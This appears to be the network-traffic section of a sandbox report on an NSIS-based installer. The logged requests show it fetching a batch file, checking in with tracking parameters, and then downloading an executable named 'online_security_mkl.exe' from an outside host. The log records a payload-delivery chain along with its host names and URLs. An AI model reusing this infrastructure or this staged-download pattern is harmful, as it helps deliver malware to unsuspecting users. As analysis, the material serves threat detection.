Network Analysis

GET /load/load.php?c=1001 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: d2lvl7wmj7b91p.cloudfront.net Connection: Keep-Alive Cache-Control: no-cache

HTTP/1.1 200 OK Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Server: nginx/1.10.1 Date: Mon, 10 Jun 2024 01:05:02 GMT X-Powered-By: PHP/5.5.38 Content-Description: File Transfer Content-Disposition: attachment; filename="load.bat" X-Cache: Miss from cloudfront Via: 1.1 aadc585e3bc530629cc7ce7677badd64.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ICN51-C2 X-Amz-Cf-Id: cJs4pKxC7CEMszyNJcBy7quCFvVHa5QyqT1hMdgsEv8A_eHY9pB4cg==

GET /load/th.php?a=2836&c=1001 HTTP/1.1 Host: d22hce23hy1ej9.cloudfront.net Connection: Keep-Alive

HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Server: nginx/1.10.1 Date: Mon, 10 Jun 2024 01:05:04 GMT X-Powered-By: PHP/5.5.38 X-Cache: Miss from cloudfront Via: 1.1 2697d1744a14136c20f2b578c5831cc8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ICN54-C1 X-Amz-Cf-Id: EKtPuCNNGjIQIFZxhJyXM9fgBRL7oUgzbXl14uw7BhHcNHIU1GMLHA==

GET /load/dl.php?id=458&c=1001 HTTP/1.1 Host: d22hce23hy1ej9.cloudfront.net Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Server: nginx/1.10.1 Date: Mon, 10 Jun 2024 01:05:06 GMT X-Powered-By: PHP/5.5.38 Location: https://cdn-edge-node.com/online_security_mkl.exe X-Cache: Miss from cloudfront Via: 1.1 8f3b5bd06c88b05153b59aab44e9aeb6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ICN54-C1 X-Amz-Cf-Id: 5wx6ZoLvo6LhLpQ6Tb8KLwVeTKOKXFnqDne8PDhrcTOJ7hIBgKApuw==

GET /online_security_mkl.exe HTTP/1.1 Host: cdn-edge-node.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Mon, 10 Jun 2024 01:05:07 GMT Content-Type: application/octet-stream Content-Length: 27628256 Connection: keep-alive Last-Modified: Wed, 29 May 2024 08:15:49 GMT ETag: "6656e435-1a592e0" Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nyt6z9VpfZs%2FzXv8KbD2oAir9lgjTdCDrMJR308gYHS%2BsyNACVmbmapzleXZUavvWXGmmrhd%2BFhIAQFgmFn4vXEaALVcTiox2YFv5KVEZoFXRR%2FS2%2BqBkDJl6moWi4IEuvjHkA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89157383ba58520e-LAX alt-svc: h3=":443"; ma=86400

GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com

HTTP/1.1 200 OK X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-Robots-Tag: noindex Referrer-Policy: same-origin Last-Modified: Fri, 13 Oct 2023 16:28:31 GMT ETag: "37d-6079b8c0929c0" Accept-Ranges: bytes Content-Length: 893 X-Content-Type-Options: nosniff X-Frame-Options: sameorigin Content-Type: application/pkcs7-mime Cache-Control: max-age=3600 Expires: Mon, 10 Jun 2024 02:05:12 GMT Date: Mon, 10 Jun 2024 01:05:12 GMT Connection: keep-alive